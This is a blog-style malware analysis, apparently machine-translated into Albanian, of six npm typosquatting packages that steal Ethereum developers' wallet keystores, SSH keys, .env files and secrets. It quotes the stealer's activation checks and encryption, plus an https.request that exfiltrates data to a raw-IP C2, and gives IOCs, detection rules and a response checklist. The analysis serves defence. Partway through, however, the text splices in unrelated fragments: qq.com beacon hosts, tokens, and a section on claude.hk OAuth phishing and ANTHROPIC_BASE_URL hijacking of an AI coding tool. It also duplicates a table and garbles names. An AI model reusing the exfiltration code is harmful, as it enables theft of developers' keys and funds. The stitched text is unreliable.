Sulmi EVMDeFi npm Typosquatting vjedh çelësat e zhvilluesve

Sulmi EVM/DeFi npm Typosquatting vjedh çelësat e zhvilluesve

TL; DR

Më 6 maj 2026, një botues i vetëm i npm, namikazesarada010206, nxorrën gjashtë paketa dashakeqe që synonin ekosistemin e zhvilluesve të Ethereum, Solidity dhe DeFi.

Paketat, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsdhe web3-utils-core, përdorën emra të besueshëm të projektuar për t'u dukur si biblioteka ndihmëse për mjetet e njohura Web3.

Të gjashtë pakot përmbanin të njëjtën gjë telemetry.js skedar. Skedari ishte identik me bajt në të gjithë klasterin, me SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malware nuk ekzekutohet në kohën e instalimit. Nuk ka preinstall or postinstall grep. Në vend të kësaj, aktivizohet kur paketa importohet përmes require().

Ai detaj ka rëndësi.

Implanti pret derisa një zhvillues ta përdorë paketën. Pastaj kontrollon nëse stacioni i punës duket si një mjedis i vërtetë zhvillimi i Ethereum / Solidity. Ai kërkon çelësa Alchemy ose Infura, çelësa privatë, mnemonikë, çelësa të zhvilluesit ose një direktori lokale Foundry.

Nëse hosti përputhet, vjedhësi mbledh çelësat privatë SSH, ruajtësit e çelësave të portofolit Foundry / Geth / Brownie, .env* skedarë dhe variabla të ndjeshme të mjedisit. Ai e enkripton paketën me AES-256-GCM duke përdorur një fjalëkalim të koduar dhe e ekstrafon atë në një pikë fundore IPv4 C2 të papërpunuar me verifikimin TLS të çaktivizuar.

Sistemi i Paralajmërimit të Hershëm për Malware (MEW) i Xygenit i konfirmoi të gjashtë paketat si keqdashëse. Paketa e raportit të heqjes së regjistrit npm është në pritje.

Grumbulli: Gjashtë Paketa, Një Botues

Llogaria e botuesit namikazesarada010206 ishte i lidhur me adresën e paverifikuar të Gmail-it namikazesarada010206@gmail.com.

Fushata u shfaq si një shpërthim publikimi njëditor më 6 maj 2026. Të gjashtë paketat u versionuan si 1.0.0, nuk kishte asnjë varësi në kohën e ekzekutimit dhe dërgoi vetëm tre skedarë:

package.json index.js telemetry.js

Ata gjithashtu deklaruan të njëjtën depo burimore:

https://github.com/harunosakura030303-maker/evmchain-config

Tre paketat e para u kapën nga skanerët MEW në publikimin e parë. Tre të tjerat u sinjalizuan me forcë pas shqyrtimit nga analisti të profilit npm të botuesit. Pasi i njëjti bajt identik telemetry.js u konfirmua në të gjithë grumbullin, ato u mbyllën si keqdashëse nga qëndrueshmëria.

paketë Version npm Publikuar Bileta MEW vendim
viem-core 1.0.0 2026-05-06 01:38:44Z # 51049 Me qëllim të keq
viem-utils-core 1.0.0 2026-05-06 # 51050 Me qëllim të keq
hardhat-core-utils 1.0.0 2026-05-06 # 51051 Me qëllim të keq
evm-utils 1.0.0 2026-05-06 # 51069 I keqdashës, nga qëndrueshmëria
fonderi-utilities 1.0.0 2026-05-06 # 51071 I keqdashës, nga qëndrueshmëria
web3-utils-core 1.0.0 2026-05-06 # 51070 I keqdashës, nga qëndrueshmëria

Strategjia e emërtimit është e thjeshtë, por efektive.

Këto paketa nuk imitojnë emrat e saktë të rrjedhës së sipërme. Në vend të kësaj, ato përdorin prapashtesa të besueshme "utility" si p.sh. -core, -utilsdhe -utils-coreKjo i bën ato të duken si biblioteka shoqëruese që një zhvillues mund të presë t'i shohë pranë mjeteve Web3.

Paketë keqdashëse Objektivi legjitim
viem-core viem, një klient i njohur i Ethereum TypeScript
viem-utils-core viem
hardhat-core-utils hardhat, një mjedis kryesor zhvillimi i Solidity
evm-utils Hapësira e emrave të mjeteve EVM gjenerike
fonderi-utilities fonderi, një zinxhir mjetesh Solidity
web3-utils-core web3-utils, ndihmës të Web3.js

Ky është modeli i "paketës plotësuese": jo "Unë jam paketa e vërtetë", por "Unë dukem si një ndihmës i arsyeshëm rreth paketës së vërtetë".

Për zhvilluesit e DeFi që lëvizin shpejt, kjo është e mjaftueshme për të krijuar rrezik.

Çfarë ndodh kur paketa importohet

Zinxhiri i sulmit është i vogël, i qëllimshëm dhe i përqendruar në mjediset e zhvillimit të kriptovalutave.

Nuk ka grep instalimi. Në vend të kësaj, çdo paketë përfshin një index.js që eksporton funksionalitetin e cungut dhe më pas ngarkon modulin e telemetrisë keqdashëse.

require('./telemetry').init();

Kjo do të thotë që programi keqdashës aktivizohet që në importimin e parë.

Kjo është e dobishme nga ana operative për sulmuesin. Shumë skanerë dhe sandboxe përqendrohen në sjelljen gjatë instalimit. Kjo paketë pret derisa të përdoret në të vërtetë nga një zhvillues, skript ndërtimi, suitë testimi ose shteg ekzekutimi.

Porta e Aktivizimit: Aktivizo vetëm në Stacione Pune të Vërteta për Zhvilluesit Web3

Pjesa më e rëndësishme e implantit është porta e aktivizimit.

Malware kontrollon për variablat e mjedisit që gjenden zakonisht në makinat e zhvilluesve të Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Gjithashtu kontrollon nëse Foundry duket se është instaluar:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Nëse asnjëri kusht nuk është i vërtetë, funksioni kthehet dhe nuk bën asgjë.

Kjo e bën paketën më të qetë në mjediset e analizës gjenerike. Një sandbox pa çelësa Foundry, Alchemy, Infura, çelësa privatë ose mnemonikë mund të duket i padëmshëm.

Në një host që përputhet, malware pret 60 deri në 90 sekonda para se të mblidhet:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Vonesa zvogëlon korrelacionin e dukshëm midis importit dhe ekfiltrimit. .unref() Thirrja gjithashtu lejon që procesi pritës të dalë normalisht nëse paketa është importuar në një skript jetëshkurtër.

Kjo nuk është një sjellje e zhurmshme "shkatërro dhe grabit". Është një vjedhës i synuar i projektuar për të shmangur ekzekutimin, përveç nëse mjedisi i zhvilluesit ia vlen të vidhet.

Çfarë mbledh hajduti

Pasi të kalojë porta e aktivizimit, malware mbledh të dhëna nga burimet që kanë më shumë rëndësi në zhvillimin e Web3: çelësa privatë, ruajtës çelësash të portofolit, kredencialet e vendosjes, sekretet e cloud-it, tokenët npm dhe konfigurimi lokal i projektit.

Burim Çfarë mblidhet
process.env Çdo variabël që përputhet me /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Skedarët që përmbajnë PRIVATE KEY ose BEGIN OPENSSH, duke përfshirë përmbajtjen e plotë të skedarit
~/.foundry/keystores/* Skedarët e ruajtjes së çelësave të portofolit Foundry
~/.ethereum/dyqan çelësash/* Skedarët e ruajtjes së çelësave të portofolit Geth
~/.brownie/accounts/* Skedarët e ruajtjes së çelësave të portofolit Brownie
${cwd}/.env Përmbajtja e plotë e skedarit
${cwd}/.env.local Përmbajtja e plotë e skedarit
${cwd}/.env.production Përmbajtja e plotë e skedarit
${cwd}/.env.development Përmbajtja e plotë e skedarit
os.emri i hostit() Meta të dhënat e strehuesit të të dhënave të dhëna nga të dhënat e të dhënave.
crypto.randomUUID() Identifikuesi i viktimës/sesionit
Date.now() Vula kohore e koleksionit
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Tokenët ATTA janë:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nuk kemi qenë në gjendje të konfirmojmë nëse telemetria ishte analiza e vetë operatorit apo një kanal i monetizuar veçmas. Tokenët ATTA janë të njëjtë në të dy mostrat që shqyrtuam.

Grupi B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

Mostra e 1 prillit është krahu më i papërpunuar dhe më i hershëm i fushatës.

heibai:2.1.88-claude.hk-4 u botua nga wuguoqiangvip28, një llogari e krijuar më 7 qershor 2025. Paketa e versionoi veten në mënyrë të qartë kundër versionit legjitim 2.1.88 Lëshim antropik.

Nuk merret me CA-cert MITM. Në vend të kësaj, i gënjen përdoruesit në lidhje me pikën fundore OAuth.

Shtesat keqdashëse përveç burimit të rrjedhur të Kodit Claude përfshijnë:

Burim Çfarë mblidhet
process.env Çdo variabël që përputhet me /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Skedarët që përmbajnë PRIVATE KEY ose BEGIN OPENSSH, duke përfshirë përmbajtjen e plotë të skedarit
~/.foundry/keystores/* Skedarët e ruajtjes së çelësave të portofolit Foundry
~/.ethereum/dyqan çelësash/* Skedarët e ruajtjes së çelësave të portofolit Geth
~/.brownie/accounts/* Skedarët e ruajtjes së çelësave të portofolit Brownie
${cwd}/.env Përmbajtja e plotë e skedarit
${cwd}/.env.local Përmbajtja e plotë e skedarit
${cwd}/.env.production Përmbajtja e plotë e skedarit
${cwd}/.env.development Përmbajtja e plotë e skedarit
os.emri i hostit() Meta të dhënat e strehuesit të të dhënave të dhëna nga të dhënat e të dhënave.
crypto.randomUUID() Identifikuesi i viktimës/sesionit
Date.now() Vula kohore e koleksionit

Lista e synuar është shumë specifike. Kjo nuk është vjedhje e përgjithshme e shfletuesve ose vjedhje e gjerë e kredencialeve. Ajo synon zhvilluesit që ndërtojnë, testojnë, vendosin ose operojnë aplikacione Ethereum.

Përfshirja e ruajtjes së çelësave Foundry, Geth dhe Brownie është veçanërisht e rëndësishme. Këto skedarë mund të përfaqësojnë qasje të drejtpërdrejtë në portofolet ose identitetet e vendosjes. Nëse sulmuesi mund t'i çiftëzojë ato me fjalëkalime, mnemonikë ose sekrete mjedisore, ai mund të jetë në gjendje të lëvizë fonde, të imitojë vendosësit ose të kompromentojë operacionet e kontratave inteligjente.

Enkriptimi para ekstradimit

Malware-i i enkripton të dhënat e mbledhura përpara se t'i dërgojë ato.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Fjalëkalimi i koduar është:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Ngarkesa përfundimtare mbështillet si JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Enkriptimi nuk e bën vetë programin keqdashës më të avancuar. Megjithatë, e bën inspektimin e rrjetit më të vështirë. Një mbrojtës që vëzhgon daljen do të shihte një ngarkesë JSON, por jo çelësat e vjedhur, skedarët e portofolit ose... .env përmbajtje pa fjalëkalimin e koduar në mënyrë të ngurtë dhe logjikën e deshifrimit.

Ekfiltrimi në një IPv4 C2 të Papërpunuar

Rruga e eksfiltrimit është e koduar në mënyrë të ngurtë:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malware dërgon të dhëna te:

https://76.13.37.80:8443/api/v1/telemetry

Dy detaje bien në sy.

Së pari, C2 është një adresë IPv4 e papërpunuar dhe jo një domen. Kjo eliminon nevojën për regjistrimin e domenit dhe shmang disa zbulime të bazuara në domen.

Së dyti, verifikimi TLS është i çaktivizuar me:

rejectUnauthorized: false

Kjo i lejon programeve keqdashëse të pranojnë çdo certifikatë, duke përfshirë certifikatat e vetë-nënshkruara. Me fjalë të tjera, sulmuesi merr transport të koduar pa pasur nevojë për një certifikatë të vlefshme publike.

Nuk ka logjikë riprovimi dhe asnjë strehues rezervë. Gabimet gëlltiten në heshtje. Kjo e mban paketën të qetë nëse C2 është jashtë linje ose i paarritshëm.

Pse ka rëndësi kjo fushatë

Shumica e paketave dashakeqe npm që synojnë zhvilluesit ndjekin kredenciale të gjera: tokena npm, çelësa AWS, tokena GitHub ose .npmrc files.

Kjo fushatë e ngushton objektivin.

Kërkon për shenja që makina i përket një zhvilluesi të Ethereum ose Solidity. Pastaj tërheq pikërisht asetet që kanë rëndësi në atë mjedis: ruajtës çelësash të portofolit, çelësa privatë, mnemonikë, çelësa të zhvilluesit, .env skedarët dhe çelësat SSH.

Kjo e bën fushatën më të rrezikshme për ekipet Web3 sesa një vjedhës npm gjenerik.

Një infeksion i suksesshëm mund të ekspozojë:

  • Portofolet e vendosjes
  • Çelësat e administratorit të kontratave inteligjente
  • Çelësat e ofruesit të RPC-së
  • Kredencialet e vendosjes në cloud
  • tokenët e publikimit npm
  • Qasje SSH në infrastrukturën e zhvilluesit ose të ndërtimit
  • Sekretet e projektit të ruajtura në .env fotografi
  • Ruajtje çelësash për portofolin Foundry, Geth ose Brownie

Emrat e paketave tregojnë gjithashtu inxhinieri të qartë sociale. Ato synojnë ekosistemin e zhvilluesve të Web3 përmes emrave të njohur të mjeteve: viem, hardhat, foundry, evmdhe web3.

Aktori nuk ka nevojë të bëjë kompromis me projektet reale. Ata kanë nevojë vetëm për një zhvillues për të instaluar atë që duket si një paketë shoqëruese e arsyeshme.

Treguesit e Kompromentimit dhe Zbulimit

Paketat dhe Botuesi
Fushë vlerë
botuesi i npm namikazesarada010206
Email-i i botuesit namikazesarada010206@gmail.com
Email-i u verifikua jo
SCM verifikuar jo
Rezultati i reputacionit 1.0
Paketat viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
Versione Të gjitha 1.0.0
Depozita e burimit https://github.com/harunosakura030303-maker/evmchain-config
I konfirmuar keqdashës Të gjashtë paketat
Rrjet
Tipi vlerë
Pika fundore C2 https://76.13.37.80:8443/api/v1/telemetry
IP C2 76.13.37.80
Porti C2 8443/tcp
Sjellja e TLS-së refuzoj I paautorizuar: i gabuar
Skema e ngarkesës {"v":2,"iv": "d": "t": }
Skedarët dhe hashet
Tipi vlerë
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Paraqitja e paketës paketë.json, indeks.js, telemetry.js
Numri i skedarëve 3
Madhësia totale e përafërt 3.4 KB

Sinjalet e Aktivizimit

Malware kontrollon për këto variabla mjedisi:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Gjithashtu kontrollon për:

~/.foundry/

Shtigjet e hostit të synuara

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regex i koleksionit

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Shënime Zbulimi

Disa rregulla e kapin këtë fushatë pa pasur nevojë për analizë të plotë të sjelljes.

Së pari, skanoni lockfiles për gjashtë emrat e paketave dashakeqe:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Çdo ndeshje në package-lock.json, yarn.lock, pnpm-lock.yamlose node_modules Historia duhet të trajtohet si një ngjarje serioze.

Së dyti, monitoroni për proceset Node.js që lexojnë shtigjet e ruajtjes së çelësave të portofolit:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Kjo rrallë është sjellje legjitime për një paketë të importuar si një varësi ndihmëse. Është veçanërisht e dyshimtë kur pasohet nga aktivitet dalës i rrjetit.

Së treti, bllokoni ose njoftoni lidhjet HTTPS për:

76.13.37.80:8443

Sidomos kur rruga e kërkesës është:

/api/v1/telemetry

Së katërti, kërkoni për paketa npm që kombinojnë këto tipare:

  • Botues i ri ose me reputacion të ulët
  • Llogari e paverifikuar në Gmail
  • Emri i paketës ngjitur me Web3
  • Nuk ka histori kuptimplotë të depozitës
  • Paraqitja e paketës së vogël
  • index.js që ngarkon një skedar telemetrie ose ndihmës
  • Pa varësi në kohën e ekzekutimit
  • Koleksion i ndjeshëm i variablave të mjedisit
  • Qasje në ruajtjen e çelësave të Portofolit

Ky model është më i dobishëm sesa një IOC i vetëm sepse paketa tjetër mund të ndryshojë adresën IP, por të mbajë të njëjtën logjikë synimi.

Lista e Kontrollit për Reagim ndaj Kompromisit

Nëse një zhvillues përdorte një nga gjashtë paketat dhe mjedisi i tij përputhej me portën e aktivizimit, trajtojeni stacionin e punës si të kompromentuar.

Kjo përfshin makinat me Foundry të instaluar, çelësa Alchemy ose Infura në mjedis, çelësa privatë, mnemonikë ose çelësa deployer.

Përgjigje e rekomanduar:

  • Shkëputni hostin nga rrjeti.
  • ruaj node_modules, skedarë bllokimi, historiku i shell-it dhe regjistrat përkatës për forenzikën.
  • Rrotulloni çdo çift tastierash SSH nën ~/.ssh/.
  • Rrotulloni çelësat e portofolit për çdo depo çelësash nën ~/.foundry, ~/.ethereumdhe ~/.brownie.
  • Zhvendosni fondet në portofolet e reja.
  • Rrotulloni çdo sekret të ruajtur në .env* skedarët në depot në të cilat ka punuar zhvilluesi.
  • Rrotulloni sekretet e mjedisit që përputhen me regex-in e koleksionit, duke përfshirë çelësat AWS, tokenët npm, tokenët e vendosjes, çelësat API, çelësat privatë, farat dhe mnemonikën.
  • Aktiviteti i reve të auditimit, npm, GitHub, ofruesi i RPC dhe blockchain që nga instalimi i parë i paketës.
  • Ri-imazhoni stacionin e punës përpara se ta ripërdorni.

Çfarë duhet të marrin mbrojtësit

Kjo fushatë tregon se si uzurpimi i gabimeve në shtyp i npm po evoluon rreth ekosistemeve të zhvilluesve me vlerë të lartë.

Aktorit nuk i duhej këmbëngulje. Ata nuk kishin nevojë për errësim. Ata as nuk kishin nevojë për ekzekutim në kohën e instalimit.

Në vend të kësaj, ata mbështeteshin në tre gjëra:

  • Emra të besueshëm të paketave Web3
  • Aktivizimi vetëm në makina të vërteta të zhvillimit të kriptove
  • Vjedhje e drejtpërdrejtë e skedarëve dhe sekreteve që kanë më shumë rëndësi për zhvilluesit e Ethereum

Kjo e bën fushatën të lehtë për t’u anashkaluar në skanimin e gjerë dhe të rrezikshme kur ajo ndodh në mjedisin e duhur.

Për ekipet Web3, mësimi është i qartë: trajtojini emrat e varësive si pjesë të modelit tuaj të kërcënimit. Një paketë që duket si një ndihmës i padëmshëm mund të bëhet ende rruga më e shkurtër për kompromentimin e portofolit.

Raportuar në regjistrin e npm. Ne do ta përditësojmë këtë postim kur llogaria dhe paketat e botuesit të hiqen.

mjetet-e-për-përbërjes-së-softuerit-sca-tools
Përparësoni, korrigjoni dhe siguroni rreziqet e softuerit tuaj
Merrni Llogarinë tuaj Falas.
Nuk kërkohet kartë krediti.

Siguroni Zhvillimin dhe Ofrimin e Softuerit tuaj

me Xygeni Product Suite